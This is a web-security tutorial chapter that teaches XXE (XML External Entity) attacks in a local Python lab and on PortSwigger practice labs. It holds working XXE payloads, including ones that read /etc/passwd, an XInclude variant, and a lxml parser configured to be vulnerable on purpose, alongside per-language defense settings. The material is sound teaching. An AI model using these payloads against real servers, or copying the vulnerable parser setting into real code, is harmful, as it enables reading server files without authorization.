Web security
Step 195. XXE — The File-Reading Command Hidden in the XML Parser
Level 3 — Real-World CTF & Advanced Attack Skills | Difficulty ★★★★☆ | Estimated time: 3 hours
Prerequisites: you’ve finished Step 194 (SSRF). You can read and write files in Python and understand HTTP request bodies.
- What you need: Python 3 + lxml (
python -m pip install lxml). The standard-libraryxml.etreefor comparison is built in. - ⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime.
- Legal practice grounds: all of today’s XML parser experiments target files inside your own computer. PortSwigger Web Security Academy’s XXE labs are a legal platform made to be solved. Do not use today’s techniques anywhere outside these two places.
XML has a feature called entities — substitution rules inside a document saying "replace this name with this content." And the content of such a rule can designate an "external file" — one line like <!ENTITY xxe SYSTEM "file:///etc/passwd"> makes the parser open that file and insert its contents into the document. If a parser with this feature enabled parses outside input, a single XML document sent by an attacker becomes a command that reads the server’s files. This is the XXE (XML External Entity) attack.
Today you’ll run the same attack XML through three kinds of Python XML parsers. With a vulnerable configuration, file contents get read; with a defended configuration, nothing happens; and the standard library flat-out refuses to parse — you’ll watch the same XML split into different outcomes. You’ll also wrap up why XML is still alive in places you can’t see it (docx/xlsx files, legacy APIs).
1. Learning Objectives
By the end of this chapter, you will be able to:
- Read XML DOCTYPE and entity declaration syntax, and explain why external entities are dangerous
- Measure XXE’s success/failure conditions by passing the same XML through different parser settings
- Explain the concepts of Blind XXE (exfiltrating data when the response shows nothing) and the XInclude variant
- Recognize "hidden XML" points like docx/xlsx uploads as attack surface
- Write down external-entity-disabling settings for parsers in each language and build a defense checklist
2. Background Knowledge — Today’s Tools and Concepts
Today’s Tools at a Glance
| Category | Details |
|---|---|
| Language/environment | Python 3 + lxml / standard xml.etree (local lab), PortSwigger Academy (wargame) |
| Today’s commands | <!ENTITY xxe SYSTEM "...">, etree.XMLParser(resolve_entities=...), ET.fromstring() |
| Concepts needed | XML syntax, DOCTYPE, external entities, parser settings, Blind XXE, XInclude |
| Today’s deliverables | XXE reproduction script + per-parser comparison results + defense settings table |
2-1. XML and Entities — Substitution Rules
XML is a document format that wraps data in tags, like <productId>5</productId>. At the top of an XML document there can be a declaration section called the DOCTYPE, and here you can define entities.
<!DOCTYPE stockCheck [ <!ENTITY company "ACME Store"> ]>
<stockCheck><seller>&company;</seller></stockCheck>
The parser replaces &company; in the body with "ACME Store." It’s a convenience feature — calling a long repeated string by a name. The problem is the next step.
2-2. External Entities — When the Substitution Content Is a File
Instead of a string, an entity’s content can be the address of an external resource. The SYSTEM keyword marks it.
<!ENTITY xxe SYSTEM "file:///etc/passwd">
Now if you put &xxe; somewhere in the body, the parser opens that file, reads its contents, and inserts them there. If the parser is running on a server, what’s read is the server’s file. If an attacker can upload XML or send it as an API request body, the parser allows external entities, and the processing result appears in the response — where these three conditions meet, that’s XXE.
2-3. Parser Settings Are Everything
Modern XML parsers know about this danger. So the same XML yields different results depending on the parser and its settings.
- Python lxml: external entities are resolved only if you explicitly set
resolve_entities=True(it can be enabled in old code or by habit) - Python standard
xml.etree: doesn’t support external entities, so it errors at the parsing stage - Java’s old defaults, PHP’s old libxml versions: there was an era when they allowed it by default, so it’s still found in legacy systems today
In other words, XXE is not "a bug in XML" but "an accident of parser configuration." You’ll measure this difference in Section 3.
2-4. Blind XXE and XInclude
What if the parsing result doesn’t appear in the response? Blind XXE makes the data go out to an external destination instead of the response. The attacker hosts an external DTD (an entity definition file) on their own server, makes the victim server load that DTD, and rules inside the DTD read a file and send a request back to the attacker’s server with the file contents attached as a URL parameter. Your file’s contents end up in the attacker’s logs.
XInclude is a variant. When the whole request body isn’t XML so you can’t insert a DOCTYPE (e.g., only one form field gets inserted into XML), you attempt file inclusion with <xi:include href="file:///etc/passwd"/> from the xinclude namespace. If the parser is configured to process XInclude, it works.
3. Follow Along
3-1. Preparing the Victim File and the Attack XML
Create a secret file that we’ll pretend lives on the server. In your working folder:
echo FLAG{xxe_reads_server_files} > step195_secret.txt
Here’s the attack XML. Imagine it’s a body sent to a stock-check API.
<?xml version="1.0"?>
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "file:///step195_secret.txt"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
How to read it: inside the DOCTYPE, we bound the name xxe to "the contents of step195_secret.txt," and ordered the parser to insert that content at the body’s productId position via &xxe;. File contents land where a number should normally be.
3-2. Processing the Same XML with Three Parsers
Write and run step195_xxe.py.
from lxml import etree
import xml.etree.ElementTree as ET
XML = """<?xml version="1.0"?>
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "file:///step195_secret.txt"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
"""
print("=== 1) Vulnerable parser: lxml resolve_entities=True ===")
parser_vuln = etree.XMLParser(resolve_entities=True)
root = etree.fromstring(XML.encode(), parser_vuln)
print("productId:", root.find("productId").text)
print()
print("=== 2) Defended parser: lxml resolve_entities=False (default) ===")
parser_safe = etree.XMLParser(resolve_entities=False)
root2 = etree.fromstring(XML.encode(), parser_safe)
print("productId:", repr(root2.find("productId").text))
print()
print("=== 3) Standard library xml.etree (default) ===")
try:
root3 = ET.fromstring(XML)
print("productId:", repr(root3.find("productId").text))
except Exception as e:
print("Exception:", type(e).__name__, "-", e)
Output (measured 2026-09-09, lxml 6.x / Python 3.12):
=== 1) Vulnerable parser: lxml resolve_entities=True ===
productId: FLAG{xxe_reads_server_files}
=== 2) Defended parser: lxml resolve_entities=False (default) ===
productId: None
=== 3) Standard library xml.etree (default) ===
Exception: ParseError - undefined entity &xxe;: line 3, column 23
How to read it: one XML, three different outcomes.
- lxml with
resolve_entities=Trueopened the file and put its contents intoproductId— attack successful. On a server, this value would ride out in the response - lxml with the default (False) didn’t resolve the entity, so the value came back empty — defense successful
- The standard
xml.etreerefused to parse at all, saying "undefined entity" — by design it never reads external entities
Note that in the measurement, a relative path with just a filename like file:///step195_secret.txt was resolved against the execution folder. In the field you’d use absolute paths like /etc/passwd or C:Windowswin.ini.
3-3. Confirming in Code Why It’s "One Line of Configuration"
The difference between 1 and 2 is a single constructor argument.
etree.XMLParser(resolve_entities=True) # resolves external entities → vulnerable
etree.XMLParser(resolve_entities=False) # doesn't resolve → safe
Why: the essence of XXE defense lies here. It’s not inspecting the input — it’s turning off a parser feature. A string filter like "reject if DOCTYPE appears" has bypass variants (case, whitespace, encoding), but if the parser simply doesn’t use the feature, there’s nothing to bypass.
3-4. How It Looks in a Request Body (Screen Example)
In a real web lab, this XML travels as an HTTP request body. Here’s a PortSwigger XXE lab stock-check request captured in Burp, as a screen example.
POST /product/stock HTTP/1.1
Content-Type: application/xml
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
How to read it: two things to note. First, Content-Type must be XML for the server to route the body to an XML parser — if the lab submits a form, change it to application/xml in Burp. Second, &xxe; must go in "a field the response echoes back." For a stock check, productId gets quoted in the response, so that’s the spot. If the result doesn’t appear in the response, move on to the Blind technique from 2-4.
3-5. Hidden XML — docx/xlsx Uploads
The reason XXE is still in active service is that XML lives in many places you can’t see. docx and xlsx are actually bundles of XML compressed as zip. If a service that accepts these files and parses their contents (résumé systems, grade processing, accounting software integrations) uses a vulnerable parser, an external entity planted in the zipped XML unfolds on the server.
# Checking a docx's true nature — change the extension and it's a zip (screen example)
unzip -l resume.docx
word/document.xml
word/styles.xml
[Content_Types].xml
...
How to read it: the attack surface isn’t only "APIs that accept XML directly." Every upload that gets converted into XML is a candidate.
4. Missions & Exercises
Mission — Organize Per-Parser XXE Success/Failure Conditions and Defense Settings
- Reproduce 3-1–3-2 and capture the screen where results diverge between lxml
resolve_entitiesTrue/False - Change the
file:///target in the XML to read another text file you created (also observe the error when you point at a nonexistent file) - Implement a "filter that blocks the DOCTYPE string" in Python and experiment with whether case variants (
<!doctype) or whitespace variants bypass it - Research the external-entity-disabling settings for Python (lxml), Java (JAXP), PHP (libxml), and .NET (XmlReader), and organize them into a table
- Solve one basic PortSwigger XXE lab and write a write-up
Exercises
Exercise 1. What three conditions must meet for an XXE attack to work?
Exercise 2. In the 3-2 measurement, why did the standard xml.etree completely fail the attack? Explain the difference from lxml.
Exercise 3. Explain why a string-filter defense that "rejects input containing DOCTYPE" is weaker than a defense that turns off the parser setting.
Exercise 4. Explain the basic structure of Blind XXE for extracting data via XXE from a service that doesn’t display parsing results in the response.
Answers & completion criteria · expand/collapse
5. Model Answers & Completion Criteria
Mission Model Answer
Items 1–2 are exactly the Section 3 measurements. In item 2, pointing at a nonexistent file makes lxml raise a file-not-found family of errors — record this, since the error message itself is evidence that "the parser attempted to access an external resource."
For the item 3 string-filter experiment, it’s enough to show that a "<!DOCTYPE" check passes right through "<!doctype" (case variant). XML declarations are case-sensitive, but filter implementers commonly check only one form. Conclusion: string filters are at best a secondary measure; the real defense is parser configuration.
Item 4 per-language defense settings summary (per official documentation, screen-example-level organization):
| Language/parser | Safe setting |
|---|---|
| Python lxml | XMLParser(resolve_entities=False) (default) — verify explicitly |
| Python standard etree | No external entity support — safe by default |
| Java JAXP | factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true) |
| PHP | Disabled by default in libxml 2.9+; older versions need libxml_disable_entity_loader(true) |
| .NET | XmlReaderSettings { DtdProcessing = Prohibit } |
In the item 5 write-up, record "original request / whether Content-Type was changed / the entity you inserted / the file contents that appeared in the response."
Exercise Answers
Answer 1. (1) The attacker can send XML input to the server, (2) the server’s XML parser is configured to resolve external entities, and (3) the parsing result (the entity-substituted value) comes out through the response or another observable channel. If any one is missing, file reading doesn’t work or a Blind technique is needed.
Answer 2. The standard xml.etree has no external entity resolution feature at all, so when it meets &xxe; it stops parsing with ParseError: undefined entity instead of reading a file (3-2 measurement). lxml is built on libxml2, so it has the resolution feature and resolve_entities toggles it. A parser without the feature is safe without needing to turn anything off.
Answer 3. A string filter is a blacklist approach that must predict every notation the attacker might use, so it’s bypassed by case, whitespace, and encoding variants (Mission 3 experiment). By contrast, if you turn off the external entity feature in the parser, the feature simply doesn’t operate whatever the input looks like — there’s nothing to bypass. It’s the difference between a defense that screens input and a defense that disables a feature.
Answer 4. The attacker hosts an external DTD file on a server they control and references that DTD from the XML sent to the victim server. Entity rules inside the DTD (1) read a local file and (2) make the victim server send an HTTP request to the attacker’s server with the contents attached as a URL parameter. The attacker recovers the file contents from their own server’s access logs. The exfiltration channel is not the response but "the outgoing request."
Completion Criteria Checklist
- [ ] I can read and write DOCTYPE and external entity declaration syntax
- [ ] I reproduced the result difference between lxml
resolve_entitiesTrue/False - [ ] I confirmed that the standard
xml.etreerejects withundefined entity - [ ] I can explain in code that "turning off the parser setting" is the real defense
- [ ] I can describe the concepts of Blind XXE and the XInclude variant
- [ ] I confirmed docx/xlsx are XML bundles and can connect them to attack surface
- [ ] Mission: string-filter bypass experiment + solved one PortSwigger XXE lab
6. Common Pitfalls & Fixes
Wall 1. ModuleNotFoundError: No module named 'lxml'
Cause: lxml isn’t installed.
Fix: python -m pip install lxml. If installation is difficult, first run just part 3 of 3-2 (the standard xml.etree) to confirm "the default parser refuses."
Wall 2. It read the file but prints None
Symptom (measured 2026-09-09):
productId: None
Cause: you’re in the resolve_entities=False state. The entity wasn’t resolved, so productId‘s text is empty — this isn’t an error; it’s the defense working.
Fix: if attack reproduction is the goal, switch to a resolve_entities=True parser. Placing the two results side by side is this chapter’s core experiment.
Wall 3. ParseError: undefined entity &xxe;: line 3, column 23
Cause: you’re using the standard xml.etree. This parser doesn’t support external entities, so using an entity defined in the DOCTYPE in the body errors as if the definition were unknown.
Fix: this is normal behavior. Either move to a parser that resolves external entities (lxml), or record this rejection message as evidence that "this parser is safe by default."
Wall 4. I gave a file path but it can’t find it
Symptom-family message:
IOError: failed to load ... No such file or directory
Cause: file:/// path resolution depends on the parser’s working directory. In the measurement, a relative path against the execution folder worked.
Fix: first place the victim file in the execution folder and use just the filename. For absolute paths, use slash notation like file:///C:/Users/.../step195_secret.txt.
Wall 5. In the lab, the XML I sent doesn’t get parsed at all
Cause: if Content-Type is application/x-www-form-urlencoded, the server doesn’t parse the body as XML.
Fix: in Burp Repeater, change the header to Content-Type: application/xml and resend. Also verify that the field where you put the entity reference &xxe; is one that gets quoted in the response.
7. Summary
Today’s Concepts
| Concept | One-line explanation |
|---|---|
| Entity | A substitution rule in XML — &name; gets replaced with its defined content |
| External entity | An entity whose substitution content points at an external file/URL (SYSTEM) |
| XXE | An attack that feeds malicious XML to a parser that resolves external entities to read files |
| DOCTYPE | The declaration section at the top of XML — where entities are defined |
| Blind XXE | A variant that exfiltrates data via an external DTD and outgoing requests instead of the response |
| XInclude | A variant that attempts file inclusion when you can’t insert a DOCTYPE |
| Hidden XML | XML inside ZIPs like docx/xlsx — attack surface you can’t see |
| Parser-setting defense | Turning the feature itself off (resolve_entities=False), not filtering input |
Today’s Commands & Code
| Command/code | What it does |
|---|---|
<!ENTITY xxe SYSTEM "file:///..."> |
External entity declaration (attack payload) |
etree.XMLParser(resolve_entities=True) |
Enable external entity resolution (vulnerability reproduction) |
etree.XMLParser(resolve_entities=False) |
Disable resolution (defense) |
ET.fromstring(xml) |
Parse with the standard parser — confirm external entity rejection |
unzip -l file.docx |
Peek at the XML structure inside an Office document |
Content-Type: application/xml |
The header that makes the lab parse the body as XML |
The Instinct That Matters More Than Commands
When you see a feature that accepts XML, look at the DOCTYPE first. If the parser permits a declaration section, external entities are a door half open. And one defender’s instinct: don’t inspect input — disable features. Code that "rejects dangerous-looking strings" is a fight against the attacker’s imagination; one line of parser configuration eliminates that fight altogether. When you look at a file upload feature, see past the extension — docx, xlsx, svg, rss. All formats with XML inside.
Once every box is checked, Step 195 is complete.
ONE STEP FURTHER
Finished this lesson?
Check the completion criteria, then mark your progress.